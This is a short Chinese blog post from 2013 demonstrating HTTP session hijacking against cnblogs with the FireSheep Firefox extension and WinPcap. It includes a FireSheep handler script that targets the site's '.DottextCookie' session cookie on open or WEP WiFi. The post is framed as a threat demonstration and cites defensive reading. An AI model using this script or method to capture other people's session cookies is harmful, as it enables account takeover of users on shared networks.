网页设计学习笔记

HTML,CSS,JavaScript

  博客园 :: 首页 :: 博问 :: 闪存 :: 新随笔 :: 联系 :: :: 管理 ::

FireSheep 是两年前的一个 Firefox 扩展,用于演示 HTTP 的会话劫持。现在仍然有很多网站,比如 cnblogs 没使用 HTTPS 连接。因此这种方式仍然有效。

FireSheep 依赖 WinPcap,安装了 WinPcap 之后,安装 FireSheep 时发现,Firefox 版本太高无法使用。我们可以到 PortableApps 网站下载 3.6 版本的绿色版 Firefox。在 Firefox 3.6 中安装并打开 FireSheep,然后可以在选项添加一个 cnblogs 网站,在脚本处填上下面代码:

register({
  name: "cnblogs",
  domains: [ 'www.cnblogs.com' ],
  sessionCookieNames: [ '.DottextCookie' ],
  identifyUser: function () {
    var site = this.httpGet(this.siteUrl);
    this.userName = site.body.querySelector('a#lnkBlogUrl').innerHTML;
  }
});

就可以了。上面的 .DottextCookie 就是 cnblogs 网站用于识别用户会话的 cookie 项。FireSheep 将调用 WinPcap 抓取这个 cookie 值,从而达到会话劫持的目的。如果你使用的是无密码或者 WEP 密码的公共WIFI,则这种威胁是切实存在的。

实际上,我们可以使用 Wireshark 软件抓取到更详细的信息。

参考资料:
[1] Firesheep
[2] codebutler/firesheep
[3] Firesheep - Wikipedia, the free encyclopedia
[4] 利用Firesheep对人人网(renren.com)进行会话劫持
[5] 怎样应对会话劫持:以Firesheep为例

posted on 2013-02-06 23:29  zoho  阅读(636)  评论(0编辑  收藏  举报